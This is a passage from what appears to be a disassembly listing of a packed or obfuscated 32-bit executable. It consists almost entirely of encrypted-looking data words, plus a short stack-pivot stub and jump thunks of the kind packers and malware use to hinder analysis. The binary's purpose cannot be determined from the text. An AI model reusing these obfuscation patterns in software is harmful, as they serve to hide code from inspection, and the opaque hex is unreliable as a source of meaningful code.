		dd 9FED0DF2h, 91CEECB2h, 2C867B9Ah, 85244618h, 0C7BC6B1Ah
		dd 289A686Eh, 95EFE651h, 0FF48775Ch, 0D966962Bh, 0A6BC7DE2h
		dd 4342899h, 7A8C5A11h,	17B307FEh, 0B9D91138h, 0E6h, 1D7156F1h
		dd 5F560A6Fh, 20E22017h, 0F60E6650h, 0C63C947Eh, 0D82DFBAAh
		dd 2219B49Eh, 0DE9270C8h, 0A8DF6544h, 2ED4226Fh, 0CF68085h
		dd 0EC66071h, 2E44BFF4h, 91896E1Dh, 71B90603h, 0CB1B756Ch
		dd 0B07E2D76h, 0D2C2337h, 45789A18h, 12AC1724h,	613CAB79h
		dd 4CE7D1A3h, 0DF996D3Bh, 2D635AF5h, 3F2FD2D8h,	21D07F2Eh
		dd 504D6D3Ch, 483DCD7Ch, 289A1EEDh, 0B7067D2h, 2A6E6A47h
		dd 0CE7DE8h, 0DCC17004h, 1DE19F1Ch, 0BDC7BE15h,	6F75FF05h
		dd 646356D2h, 33D11D77h, 0A0000009h, 0C27A1448h, 0DD952F3Fh
		dd 0FAB24C26h, 1AD26C0Ch, 14F08AEAh, 363EC64Ah,	5521E49Ch
		dd 76E403BBh, 92DE24DCh, 4F912F8h, 289F9631h, 5621F186h
		dd 3FA7E88h, 9B353FC5h,	0A2511FE3h, 7D37FEF3h, 6088226Fh
		dd 0CBC2D387h, 0EA3FEFC1h, 0E124F2A1h, 8A7F9E95h, 24455728h
		dd 0B5341E89h, 2899A784h, 0F3DD936Fh, 0B3506B9Bh, 98C4AEBFh
		dd 31021B0Eh, 0A8220E01h, 28D91137h, 0EDh, 3B39CB99h, 6A0CF951h
		dd 560A6259h, 5327C2A7h, 3C5521A2h, 6FB7EE47h, 6F66D122h
		dd 0B59FD131h, 8DF9A75Dh, 6710EAD5h, 80F60FDDh,	14F2C06Fh
		dd 0DA136D64h, 857CF80Ch, 6F822420h, 7FF11122h,	9BD52DE5h
		dd 0BCE81EECh, 0F634F9C9h, 907A8BE4h, 54A4FEF5h, 0CC50E2FFh
		dd 3BBB90B9h, 2C867B2Ah, 8524460Fh, 11AE877Ch, 0A611289Ah
		dd 0F64BFB95h, 5809FEADh, 0D72A6E59h, 0A95CD9CEh, 0F8632275h
		dd 9A6A38E7h, 31462BDAh, 2425A021h, 0D3EDF2A0h,	3748E477h
		dd 867E3640h, 8563E8EEh, 8CE66463h, 81140h, 0F26A7E00h
		dd 0D61A058h, 2A48BB73h, 4A2ED890h, 680CF8B0h, 0A428F2CEh
		dd 0C27A1460h, 0E1993343h, 2BA5406h, 0F0D67000h, 9753E2D7h
		dd 0CF64289Fh, 0A7CD37FFh, 0C3AD550Dh, 0B3BB4614h, 9A9B90C9h
		dd 1D226F7Dh, 0A0AAA1B2h, 0A5CB37CEh, 96DA28F6h, 15ED459Fh
		dd 0B74F649Eh, 6EC6B0C1h, 0E9CEDF97h, 56828F95h, 5CF60761h
		dd 473A57ACh, 9D7CB27Ah, 7313AC6Dh, 8A9BA364h, 6FCCA79h
		dd 0EEE5806Ah, 3896DACFh, 0AC172460h, 9DD32FFDh, 57812403h
		dd 197228A0h, 3E5D36D0h, 83327BD0h, 7637648Eh, 0B972DD2Ah
		dd 0C28826D4h, 7C82D7B1h, 2FDEEF6Bh, 2535B280h,	30D2A03Bh
		dd 0C4BB5640h, 1769935Fh, 2E232CB8h, 0B867A607h, 877F4DB8h
		dd 0A6F6E0F1h, 64590851h, 0BA3B262Eh, 8A39E853h, 402A46BCh
		dd 9270AEA5h, 768C44DEh, 0A361F4FAh, 8EE8F832h,	71D42h
		dd 0FE5E8A00h, 1955AC64h, 363CC77Fh, 5622E49Ch,	740004BCh
		dd 0B034FEDAh, 0CE862054h, 0EDA53F37h, 0EC660FAh, 0FCE27CF4h
		dd 9847EEE3h, 0E378289Fh, 0A1EA3F13h, 6C73FDF2h, 0C934245Fh
		dd 0B9B54C1Ah, 0D49A671Fh, 7092EAh, 8D1265FAh, 3E8AE46Ah
		dd 6CAh, 11ABB137h, 2CC6A859h, 49E38F74h, 69037591h, 872153B1h
		dd 0A75DE1ABh, 8A7B33CDh, 4D9A52ECh, 47BB730Dh,	90A98F29h
		dd 9F999A9Bh, 0B8881D28h, 0F87C8856h, 8F76CB01h, 6F7D9B9Ah
		dd 1E131C22h, 226F7D17h, 1B2C3DA8h, 6BF9776Ch, 92BA245Fh
		dd 42F10272h, 48E28E74h, 2A0B00AFh, 8D289F94h, 9CF52B22h
		dd 7AAFA453h, 25289F94h, 0E951D0BAh, 7289F93h, 78F80AD8h
		dd 0DCFCF38Eh, 20CDFDE9h, 3A03D917h, 74000000h,	8C65D0C5h
		dd 0EF5A289Fh, 0E63FA0F8h, 38F9EE9Dh, 77226F7Dh, 96A3220Ch
		dd 5A226F7Dh, 7F4B372Ah, 51D2E709h, 11h, 171E13C2h, 0A8226F75h
		dd 43EE463Dh, 1E0h, 19871681h, 0FECC7BC4h, 2353B207h, 0A38D9E39h
		dd 0FDF21108h, 24455BF5h, 0FA067BBAh, 65FC9E75h, 0ADB69B54h
		dd 0B993F067h, 0B920150Ah, 8E97CBEFh, 0EFB99C99h, 0A7B823CBh
		dd 0DC257AB0h, 9ABA382Dh, 0C77CDC5h, 768F5Dh, 2A847B16h
		dd 8D3C85DAh, 442E44BFh, 9E93B2A9h, 0D3ED1BF4h,	0A573228Dh
		dd 0C179135Dh, 0AE165B41h, 68D7BBE5h, 0B3185157h, 0D7310DE4h
		dd 5918Bh, 72EAFE00h, 8DE120D8h, 0AAC83BF3h, 0CAAE5810h
		dd 0E88C7830h, 24A8724Eh, 42FA94E0h, 6119B3C3h,	823AD486h
		dd 7056F080h, 99D36257h, 4FE4289Fh, 0C2A7567Fh,	9224F8A5h
		dd 5BDACF5Dh, 0AF226FB0h, 6FB07BBAh, 0CFD13C22h, 0D32F6D64h
		dd 0E63B39Dh, 0B94816C5h, 0B0132217h, 39A4226Fh, 0ACA33E28h
		dd 97EE988Dh, 48B32445h, 0CB1CEA99h, 150AA58Fh,	2899A820h
		dd 2B352C97h, 0DBE18F73h, 6A872698h, 0B0B57B1h,	78000005h
		dd 9A52EC70h, 0B56D0767h, 0D28A244Eh, 0F2AA4434h, 0ECC86212h
		dd 0E669E22h, 2D49BC74h, 4E0CDB93h, 6A06FCB4h, 0DCD1EAD0h
		dd 289F9A59h, 37F9C95Eh, 28F6A5CBh, 16B19BBFh, 956DC51Fh
		dd 7CED483Dh, 67D2226Fh, 0D5DE6C56h, 8178FE07h,	0D2B76E61h
		dd 36565293h, 9AD8CF17h, 0D56E0868h, 837AE007h,	0E7819B2Fh
		dd 2035D2h, 3F6D0000h, 0FDF2A1EAh, 24456AA1h, 12917BE6h
		dd 28999327h, 0BAA699C9h, 0D9112410h, 57C0h, 0EA3FF800h
		dd 435420E4h, 33099F94h, 92BA2445h, 7B160070h, 14EDBB6Ah
		dd 7827C05Ah, 251A5AAAh, 2899CB10h, 988D3CA7h, 2899CB9Dh
		dd 5BC0B722h, 2899CADFh, 0D7A16533h, 1D5B52EDh,	4038CEE5h
		dd 10AABB56h, 0DBC5A958h, 4358Fh, 62570600h, 2899CAD3h
		dd 2A8279E4h, 83B2A756h, 34226F7Dh, 479CD2C9h, 645A4FFEh
		dd 25244564h, 8A78D0BAh, 0B19BDD29h, 88560516h,	0C13F87Ch
		dd 86555FF7h, 0D9318B82h, 0A624C0Eh, 3B937DDDh,	26C1ABC9h
		dd 0C9E2D565h, 0D09E9133h, 8E83327Bh, 2A6F6E30h, 53EC86F1h
		dd 0D9E8886Eh, 592711E4h, 43DEC8AAh, 7CF40E4Ch,	0A4ED4292h
		dd 0FD1600F5h, 40AB2445h, 0C5B8D256h, 0C35D13EFh, 49B8BE13h
		dd 8FA03B25h, 0F1B7EBE0h, 0B9F82A6Fh, 8523ABD4h, 1F091A5Bh
		dd 4B353BC7h, 3BAADC7h,	69D2181Eh, 0B7AE6D7Dh, 34E32C81h
		dd 4575633Fh, 5E535C24h, 289989D7h, 0D26C7DE8h,	9E88E81Ah
		dd 0CCB6BE46h, 41170AACh, 6515AFC1h, 0A1C4F310h, 5B590CA7h
		dd 70A69B4Ah, 112A6F97h, 9E64BCA6h, 0AF5523D2h,	4940DBC5h
		dd 6D526BEFh, 2B9C0DC3h, 4F6F66AAh, 0F0398E5Ch,	40C49241h
		dd 0A3AE4F34h, 3A8C0975h, 8438DE43h, 0DE492445h, 26768C44h
		dd 0A2976F70h, 28999D93h, 0F6D4B924h, 0E1753755h, 5003853Eh
		dd 0EC442E3Fh, 0DDAB5A16h, 0C5604A24h, 0BF14C4CEh, 98D2C776h
		dd 92A6FE5h, 0C621EF9Eh, 0C4439D94h, 22702575h,	1EB837Eh
		dd 321C3EA9h, 647D7012h, 6D966493h, 0FBEE0E05h,	0E7B1BB0Fh
		dd 0C83907D2h, 5D9EAFA6h, 0D6000000h, 0C0097156h, 7DE39B5Eh
		dd 6601EB85h
		dd 0D3285E55h, 2A3B35CDh, 4045967Bh, 0CCB1BF43h, 0C0B7A7FAh
		dd 3F06ACA1h, 83AB2446h, 0FBE5F664h, 9A3EBD7Ch,	0A8D03628h
		dd 0D8A066BEh, 2013A3EEh, 13063607h, 5C4C775Ch,	2444A527h
		dd 99C9062Fh, 3D4EB928h, 59D8F246h, 0D5F8D911h,	30000000h
		dd 83B2A756h, 34226F7Dh, 6E94D2C9h, 44C01802h, 14EE4630h
		dd 0E81A725Ch, 350FEE88h, 22226F79h, 4230D3E0h,	81979E93h
		dd 0BD28226Fh, 0A85A12ACh, 0D7A5DEC8h, 0C05B452Bh, 0F53E93C9h
		dd 6AE95146h, 6BD62445h, 275338D1h, 0D7D60452h,	95E948Bh
		dd 63740203h, 7F2ABFB4h, 2A952A6Eh, 203AAD7Bh, 0C83C0A29h
		dd 0D22FFDACh, 3E4F25DFh, 7F853D47h, 88D36257h,	79E42275h
		dd 2E1856ABh, 17C8293h,	48646308h, 1E8A2EEh, 93550000h
		dd 8A772FC9h, 71924AE4h, 57AF6701h, 35CF8721h, 0FFC9A53Fh
		dd 51EB897Bh, 700A6C99h, 912B2FB8h, 0AD4729D9h,	7CB9AEC7h
		dd 43289F9Dh, 0A756DEAEh, 6F7D83B2h, 5F865122h,	0DE453D61h
		dd 3C7A71DCh, 5A12ACC8h, 5C2EC8A8h, 3C7D8856h, 24BFA9C5h
		dd 91E61C13h, 1CEA9948h, 6A18BE7h, 5708AA0Fh, 2EFC2445h
		dd 18B39DD5h, 5A44AF21h, 99A75EDBh, 36D9528h, 2F41C119h
		dd 0B4A7C145h, 0CD9BCA9Bh, 0B8533D37h, 0F7AEA1C1h, 35587412h
		dd 8178104Bh, 116C9D2Dh, 0AA33D9h, 376B0000h, 63BBA5CBh
		dd 6AE9D3A1h, 226F78DAh, 0A33D33CFh, 6F5917EBh,	0D281CA1Fh
		dd 456B5DDDh, 5DF76224h, 0C80EF6C4h, 999B62D3h,	0D9EA5528h
		dd 275D54EFh, 0E5DA89D2h, 2A6DE365h, 3200AF1Ah,	5008A2D2h
		dd 0CDBAC0B4h, 7C6463A1h, 0FCD622h, 7F690000h, 768B43DDh
		dd 5DA65EF8h, 43C37B15h, 21E39B35h, 13DDB953h, 65FF758Fh
		dd 841E58ADh, 0A53F1BCCh, 0C15B15EDh, 68CDC2DBh, 4F289F9Eh
		dd 8856EABAh, 0DC2AF87Ch, 9D67A59Ch, 7CF14439h,	5BC6226Fh
		dd 0F7EC9B4Ah, 226F7D3Eh, 0DC84E59Eh, 0D3D5FE3Ch, 0AF677168h
		dd 0B1831D53h, 0BBA5CB37h, 0BEFD9F63h, 93CD8152h, 0CE7D8Eh
		dd 0EA856F03h, 1C4A3305h, 2F26B56Bh, 0D7207525h, 0CD8D5A28h
		dd 0A49948E3h, 22705791h, 0A5C4BB26h, 6046C4B0h, 28127D24h
		dd 0A43E32D0h, 0AB5A16ECh, 564D27DDh, 0F4017DFCh, 10B22595h
		dd 0B5BB471Dh, 0B6792106h, 3B077A4Eh, 80823A44h, 58AE06F0h
		dd 98B23620h, 3D33CFA5h, 5917EBA3h, 2F06FBAAh, 0E35DA9E5h
		dd 0A9E547EEh, 0B0D785Dh, 34FA9A0h, 1Eh, 0B2A75641h, 226F7D83h
		dd 8BD2C934h, 0C710876Ch, 0B5F40C83h, 701975C0h, 0CEDF4A22h
		dd 0B1377FD7h, 9969C1ABh, 5295EDD7h, 3FC61E08h,	0FF54D37h
		dd 0E1237B65h, 0B551A993h, 8281D9C3h, 53AE06F0h, 5216311Bh
		dd 0C281E289h, 4, 4BE56h, 0F2290000h, 2414875Eh, 758F685Ch
		dd 14890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 68240489h, 630185Fh,	48B545Ah, 4C48324h, 0D3895351h
		dd 895BD989h, 0FF590848h, 83582434h, 148B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dw 0DBE7h
		dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 3022EFB8h,	0FFC50306h
		dd 187B5EE0h, 0C2891A43h, 1D216630h, 552E8545h,	0FBB31B55h
		dd 0CAAD0733h, 833BD52Ch, 0B939A12Dh, 0B687FB71h, 27400A5Dh
		dd 6D001742h, 0CE81Ch, 2C460000h, 0D0624C43h, 74392C44h
		dd 0F537750h, 1881h, 13E900h, 78530000h, 2357A08Dh, 0B0198F7Ch
		dd 0FDC76D9h, 0A22C7748h, 0FC585A98h, 5CF6C081h, 0D2800000h
		dd 0BF52h, 0BF0F0000h, 381C8BC8h, 7E8h,	33555000h, 1260F39Ch
		dd 6E8h, 27298700h, 0F16BA94h, 83h, 815E5A00h, 2D57EFC3h
		dd 0AE968h, 0FF620000h,	0F2722432h, 0BAC803AFh,	3A5F381h
		dd 0BA664C2Eh, 0C3812E78h, 3185DFD7h, 53CE8166h, 381C8988h
		dd 0F8CABF0Fh, 8104EF83h, 0FFA3ACFFh, 9E850FFFh, 66FFFFFFh
		dd 595AE181h, 25628D8Dh, 6A0630h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 153F01C3h, 7E7F151Fh
		dd 958D89CFh, 8B062A33h, 2A34B195h, 0F985C706h,	80062A0Bh
		dd 6A000063h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0BA44C352h, 463E8CA6h,	89C87195h
		dd 2A2631B5h, 0C585C706h, 62A06h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 3E8EC356h, 0F31BD150h, 0B5FF7631h, 62A2089h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 43C35242h, 0E8210F2Bh
		dd 0Ah,	0EC8021DAh, 677A2C2Fh, 0BE8EEB4h, 36000000h, 5C3F72CBh
		dd 0F6BDCDB4h, 5E84CEEh, 0D7000000h, 8065A1h, 0FF5B585Fh
		dd 2A05C195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 9C3FB2DAh, 999D335Fh, 6A062A23h
		dd 3995FF00h, 8B062A34h, 0BA4DEBC0h, 0BE2D0DF6h, 2AFE0244h
		dd 62860C00h, 2B02ABD2h, 145B0D8Ch, 383D79FCh, 7A6C07ECh
		dd 9B1C5CA7h, 94718982h, 1BB4829Ch, 635B32B4h, 0B6D54A79h
		dd 3E6E562Fh, 0FDE7C230h, 486ED831h, 0E7DB37ECh, 85BF937Ch
		dd 0DB989C6Ah, 0C6A62466h, 39E9h, 4A842200h, 42000076h
		dd 2, 0Bh dup(0)
		dd 2AE90000h, 6800000Dh, 63027D5h, 0FB2359E9h, 292F68FFh
		dd 4FE90630h, 68FFFB23h, 6302ABEh, 0FB2345E9h, 2BAC68FFh
		dd 3BE90630h, 68FFFB23h, 6302CA1h, 0FB2331E9h, 2E8068FFh
		dd 27E90630h, 68FFFB23h, 6302F60h, 0FB231DE9h, 30B168FFh
		dd 13E90630h, 68FFFB23h, 63031C8h, 0FB2309E9h, 0C3128CFFh
		dd 4A9D122Ah, 0D3E899B1h, 5E61223Ah, 0EAF9ADC5h, 0D1876E51h
		dd 5D750ED5h, 0E5FD962Dh, 6F8720A7h, 2D14AD3Ah,	17E36A80h
		dd 645E16C6h, 0C2018595h, 0A8DDAFB5h, 0CDB8F01Bh, 99D45DF6h
		dd 0A3DDF332h, 84232062h, 91105F4Ah, 4359984Ah,	16CC19BCh
		dd 84C37537h, 19C2495Fh, 7B3D16CCh, 808D5251h, 0C7DD024Fh
		dd 16CC1A40h, 19E76E84h, 0A06216CCh, 93C9D698h,	16CC1A08h
		dd 79A43B69h, 4E794E41h, 0B1B7632h, 775B1994h, 82366239h
		dd 0E811F7A4h, 4DA85626h, 3Bh, 0CA316CF7h, 6873758Bh, 22E42320h
		dd 132EB9F7h, 1C8F16CCh, 3D68A0CBh, 0B70E7CA6h,	3F5C9A8Ch
		dd 0D4C7A559h, 56FD8D34h, 840616A8h, 0DA05DAC9h, 7D3D681Ah
		dd 1088570h, 0DD2F0000h, 0A3F01BA8h, 52531C93h,	0F0B0DB8Dh
		dd 3E149BB1h, 0CD8F1CF6h, 0CD1490C0h, 0A83F6AA2h, 0B40457Dh
		dd 3937459Ah, 3823DAEDh, 2C59F2A4h, 0E36AF107h,	0C7C31CF5h
		dd 0D15D500h, 4A083E4Bh, 111CF5E7h, 104F94h, 8C2B388Fh
		dd 87B23174h, 140AFDEh,	2005E9EBh, 0FF985A23h, 99D8C776h
		dd 9BC61D89h, 0FF869CDBh, 7A16CBB6h, 5066ABB8h,	1CF8722Eh
		dd 939BB4A8h, 0C5B38C78h, 404DFFC4h, 0C317032h,	90382C18h
		dd 9E66F37Ah, 9EAC6E10h, 7F8D4480h, 0DA419C52h,	0D0000DB4h
		dd 5C740DD4h, 5C632128h, 0A3AA04AAh, 17506387h,	0AB02Eh
		dd 3F960800h, 0C6118EA6h, 4F94152Dh, 0DAED9EB6h, 667D2941h
		dd 4D03EACDh, 0D9F18A59h, 617912A9h, 0EB039C23h, 0A99029BEh
		dd 175FE6FCh, 0E0DA16C6h, 3CD4C850h, 5DE55144h,	6F9A2D5Eh
		dd 0C0F0FDAFh, 4C64FDC4h, 0BDEDFD59h, 0C56FF626h, 28EA1CF5h
		dd 4B11A61Ah, 681A18D5h, 316CE1CFh, 73758BCAh, 0E4232068h
		dd 99BEE322h, 0CC12FC83h, 85B57716h, 16CC12FEh,	12FA7973h
		dd 8C942DA3h, 3F8CBDCAh, 7BAC904Bh, 8DB73930h, 0DC9CC71Ch
		dd 610E99CFh, 3E6F16CBh, 7F627EA9h, 0ECF014AFh,	0F9CEBFE9h
		dd 5E3DF9CEh, 4DFFC6C2h, 28E0BB99h, 0A856DC81h,	0DF64h
		dd 0B8C80E00h, 0B3E3F0C7h, 8EC6F1F6h, 9057531Ah, 0C8F3A565h
		dd 0F642CC8Ah, 0D116931Ch, 5E652038h, 9CC1E633h, 0F638FF86h
		dd 88B87A1Ch, 1CF63901h, 8D95285Ah, 601DBECBh, 24263C7Bh
		dd 95232060h, 48494D3h,	0CE1193BDh, 37D6E3A3h, 2FB4FFAEh
		dd 0B87EC478h, 687EBD6Fh, 1CF82335h, 90DDDDD1h,	808E5956h
		dd 0C1C246A9h, 313F4CFEh, 6020306Fh, 446E2E59h,	2F748140h
		dd 0E966160Ah, 0E6B7E1FBh, 0E6FDA9D9h, 3E2C204Dh, 0CF7DD3B2h
		dd 85378EFAh, 739B1077h, 98A59232h, 0FFA53C68h,	638803ABh
		dd 5679629Bh, 0AE000009h, 344CE5F0h, 0BBD36C7Bh, 445CF5CAh
		dd 0CFE78047h, 90730CDBh, 2CBBEFA9h, 0B40B7B93h, 3E81031Bh
		dd 0CB188DA5h, 889E4B32h, 16C61501h, 0DDF2827Ch, 69811AA9h
		dd 200EA73Ch, 0F6CDB8C8h, 0CEFE0BCBh, 0E2697FDBh, 5D1CF63Dh
		dd 71BEE99Bh, 3DAF364Ch, 682A1CF6h, 0F17E2B5Bh,	0DF782AB1h
		dd 79B82756h, 2040FD63h, 0B0EFFF23h, 4A0C1A27h,	358AFB0Bh
		dd 0C3D4A0Ah, 7912D1D4h, 7A493C4Ch, 7B483D6Dh, 5DA81250h
		dd 0CF0D9E12h, 55154CCh, 861768EFh, 6F21E38Fh, 40683C30h
		dd 0BE722D05h, 8FFA12B1h, 0D2FABDDCh, 0F0A2BA2Dh, 64FD87C5h
		dd 9FD8F85h, 0CC1B8E92h, 7D120633h, 0EF78162Ch,	4D386875h
		dd 7F0D4B76h, 0E68F8636h, 0BDF520A7h, 2BCCF7CCh, 0DECC5447h
		dd 6A1CDC07h, 78A8F3D7h, 6777B60Dh, 0B878A324h,	36DC6379h
		dd 95578F86h, 0D4D1E988h, 23BE40Fh, 66485E9Dh, 6095B063h
		dd 99E253Bh, 0B8F7895Ch, 3C44042Fh, 9D5F6D7Ah, 0E5E3D704h
		dd 0BE1C9E85h, 0B5F1DEB5h, 7527C434h, 2F992036h, 5214895Ch
		dd 2E9A445h, 6437ADC3h,	65598F86h, 9DE0C8A3h, 0F3010E4Ch
		dd 3EC80631h, 1383319Ah, 7BA26635h, 8437B876h, 0D6234190h
		dd 0AFBC45C3h, 50BC4h, 50D76E00h, 0A31CF63Eh, 1CF64E18h
		dd 91505464h, 2DB53C52h, 6E301CF6h, 31882B61h, 88131CF6h
		dd 781CF629h, 8197D6C5h, 23203583h, 36842AECh, 2C69B560h
		dd 7C70AF3h, 611F0000h,	0EAA5BD56h, 7D2C44DDh, 0F6B5CD66h
		dd 444058F1h, 1A01E47Dh, 29B2A5Eh, 8A23BAEAh, 14AD3072h
		dd 0A13A89FCh, 70F70DBAh, 0EB16C614h, 0A8DD61F1h, 0A1B7DC1Bh
		dd 1CF63E1Ah, 84AF3073h, 0EDFABCC4h, 755A13BCh,	80011136h
		dd 0D2FDC2C3h, 75366012h, 7A874772h, 26637644h,	45457F23h
		dd 433CC7Eh, 37A4D9E5h,	4020E2F8h, 0D7111CF0h, 5986B9D2h
		dd 0A7D5046Dh, 580ACAF5h, 3D83CB51h, 0B0EDBFFDh, 0E00BDCD3h
		dd 192F6E20h, 6764E83Bh, 2A77A264h, 28536A1Ah, 83BA5B68h
		dd 0A2B8DD1Ch, 5B10A11Bh, 0AA314796h, 255B10A0h, 5FA4B163h
		dd 3ADC7D49h, 81C08261h, 64BF465Ch, 4F3454E6h, 0E5212420h
		dd 1414323Ah, 8353A929h, 5095A254h, 3F7E4540h, 0DB7D041Ah
		dd 0BEF854E6h, 3A47F9CCh, 0C106839Bh, 0D01CE31Bh, 8972ABA7h
		dd 6D9h, 0CF687F31h, 56EFF8B7h,	0DF784F3Eh, 6A03C4C7h
		dd 0F68F5652h, 30742C13h, 800018B1h, 1A88A039h,	97122AC3h
		dd 23D0B750h, 0C612860Dh, 77070116h, 68DA3C8h, 811CF63Eh
		dd 5C11B2BFh, 0D93C306Fh, 62B6B6C3h, 406B7C2Fh,	7CC1CE80h
		dd 951C3257h, 101CF591h, 0A50B414Eh, 0A7231F94h, 8DE56C82h
		dd 116016CBh, 0CB8E74FBh, 7B2DEF16h, 5F9E606Eh,	677E2A3Ah
		dd 0CB8DB037h, 5C692B16h, 31B6F32Bh, 30B7CDF2h,	0AB16CB8Eh
		dd 0B9ABDCE9h, 95AD2E22h, 0C1EE2C66h, 0DCD3C8B4h, 0EBFB3AA1h
		dd 0D11623B4h, 0F63955BBh, 1C32571Ch, 10A23295h, 33414E10h
		dd 2FBAD871h, 8A10A233h, 10A23303h, 0E4DB2EBh, 0D2592AF8h
		dd 46713316h, 96B8E9F9h, 720DF980h, 0B2740Ah, 0D20815D5h
		dd 0A720E4Eh, 0B4037C8Ch, 0DE571A7h, 5D480A72h,	4FAEE086h
		dd 639C5D5Bh, 5E47Ah, 73423C00h, 0FACDC2DAh, 83584961h
		dd 0ED1D2EAh, 9A295D75h, 81371E01h, 0D25BE05h, 95AD469Dh
		dd 1F37D017h, 0DDC45D6Ah, 11931A30h, 140E16C6h,	52316C84h
		dd 9CDB8D50h, 2663B886h, 0D4FFC123h, 9BDAE99Ch,	50511E8Bh
		dd 0EEA0608Bh, 0C835A7C3h, 0D67799CEh, 0EF781724h, 0EC244F40h
		dd 79912AB9h, 3F8CB70Ch, 5E6B7C2Fh, 416C7B2Eh, 3BE5B6AAh
		dd 701D1D4Eh, 30E6EB2h,	50B488DFh, 0ADD78958h, 0FEBEE9FEh
		dd 5A83B34Ch, 0BFA84C6Dh, 1D2h,	0CA316C69h, 6A93758Bh
		dd 7D8D2320h, 9DABB80Fh, 115B627Fh, 0EFA169AEh,	98FD86C4h
		dd 7FB16CBh, 7D621B94h,	0C546283Eh, 30401CF5h, 26426D74h
		dd 8F7429DFh, 818E40A0h, 18B173h, 0DB133E85h, 0F78019AEh
		dd 1CA3E146h, 0DB152B6Ah, 8516CC1Fh, 86B13675h,	0D69C2339h
		dd 55170A77h, 0C68896A3h, 0B2357787h, 89BAC787h, 77D6C04Bh
		dd 5F64210Ah, 3988FC34h, 1883770Eh, 0ADEECC80h,	2B5B25Bh
		dd 5B97BCh, 0F2020000h,	80052FB6h, 4B581843h, 52316C45h
		dd 9AD98B52h, 20688284h, 0FFACBC23h, 0F0FDBDE8h, 0EDE120E2h
		dd 0E4F73058h, 0F4B1DBF1h, 73B1E2EFh, 16CC18E8h, 980D5A49h
		dd 0AE60204Bh
		dd 83544B83h, 66912659h, 0D2C6D591h, 0AD5B401Eh, 0A856F304h
		dd 0BA0D7F8Fh, 0D7C2CF8Fh, 0D4h, 1BA8DD81h, 7DCCB8F0h
		dd 0C908BA09h, 0D01794A4h, 2EB5E5A5h, 0A91CF63Eh, 71A9DAE7h
		dd 0BD985334h, 0BD5F8AB3h, 0FDA8E00Bh, 712F4DE6h, 381CF5CBh
		dd 1237764Dh, 0F5C275FCh, 0EF2EF01Ch, 0F5C252D9h, 0FE0BCD1Ch
		dd 38A7D65Fh, 7B2EE3F9h, 43052322h, 31B0F404h, 1AADE2F2h
		dd 52566E0Dh, 49A7AA37h, 0D3855C62h, 0B206012Dh, 0BFA8E169h
		dd 405h, 0FB94235Dh, 821BACE3h,	0BA43B6Ah, 962FB0F3h, 22BB0A7Eh
		dd 0E4A0583Fh, 7C2C44DDh, 0F6B4CC65h, 4B3E56EFh, 4FFCE37Ch
		dd 0C60FB239h, 0A3332D16h, 7D8DA9DDh, 188B80Fh,	7C1CF63Eh
		dd 0ED39445Eh, 4DFFD5ECh, 0E1D5029Bh, 511C7B67h, 1D4D5A74h
		dd 95C25B68h, 43128CA1h, 9EDF2F24h, 5994B5FEh, 20815C7h
		dd 788EA8DDh, 1CF63DF1h, 0CDF8AA6Ch, 0BE455B80h, 391CF63Dh
		dd 8B3D8AFFh, 8C5B4E7Eh, 4CD705F3h, 0A71CF6BEh,	1CF5BE1Ch
		dd 2B6A510Ch, 44CBE106h, 0BF1CF5BEh, 9347FCA1h,	9D4F5F58h
		dd 0EC8C5A90h, 395E2325h, 0C5A09C23h, 48551716h, 2939783Ah
		dd 386378h, 52123D84h, 156293A0h, 0A153DAF0h, 0CCE16C5h
		dd 0C02F5EFFh, 0C5856B81h, 0FCBE1CEFh, 84BE3056h, 0A089C263h
		dd 325h, 1BB4037Dh, 0A23B8C03h,	2BC41B8Ah, 0B64F9013h
		dd 42DBEA9Eh, 0C4C0785Fh, 5C4C64FDh, 0D6D4EC85h, 2B5E760Fh
		dd 6F1C039Ch, 0C60ED259h, 0C3534D16h, 0F2C9B8C8h, 0CAFA07C7h
		dd 0D5C908DFh, 0C74E6431h, 8AFE284Eh, 0C5FD2E3Bh, 0E16A03C0h
		dd 0EA003FACh, 231F9AB0h, 885F4A5Ah, 6B96215Eh,	0CE909EABh
		dd 51DA65A3h, 0D3B116CBh, 3E9940C8h, 3E7CA856h,	0E7000000h
		dd 310D7D7h, 0CA316CFDh, 6873758Bh, 22E42320h, 6F85AAF7h
		dd 16CC12E8h, 5E94A163h, 16CC12D3h, 3CCFCCAAh, 3C677E2Ch
		dd 8E408704h, 719C2B64h, 0B55CA4B1h, 98A856FDh,	0F0h, 0A3A8DD42h
		dd 0F2B7E1E6h, 0E01843F5h, 0B9DE1DA4h, 0F63E1CA3h, 0AE35751Ch
		dd 0A6D7E4A6h, 0A8503B6Eh, 7924BDD4h, 124A7527h, 99B75097h
		dd 1CF5A9DBh, 47E0E7A2h, 0CAE07A2Fh, 1CF5A043h,	9FEA7187h
		dd 0A3651CF5h, 0FC27D99Bh, 76B51A53h, 929F2666h, 0B9AD374Dh
		dd 6C2E231Fh, 5B681D2Dh, 57627030h, 0A65BEC5Ah,	1FA84754h
		dd 3242816Eh, 83436E71h, 0FC0C3176h, 0F329368Dh, 1CF81A38h
		dd 0F51A591Bh, 0F520A7E5h, 8CF82835h, 849C35h, 0A2971E34h
		dd 5012109Eh, 0E768F89Eh, 69A26387h, 1D480h, 63722C00h
		dd 0EAFDB2CAh, 73483951h, 0FEC1C2DAh, 8A594D65h, 71270EF1h
		dd 0FD15AE35h, 859D368Dh, 0F27C007h, 0CDB44D9Ah, 0D830A20h
		dd 4FE16C6h, 1AA9DD74h,	41445481h, 1A45980Ah, 0BD7DA85Ah
		dd 0BE0580B0h, 0A83F6F7Fh, 8EB90C7Eh, 3422C1CEh, 0F3CAB8C8h
		dd 5AFB08C8h, 6D7DBC23h, 0BA7AA532h, 4F4368ADh,	4F6EBEA5h
		dd 1D536063h, 231FC51Bh, 83404555h, 5E652058h, 0BE0182ACh
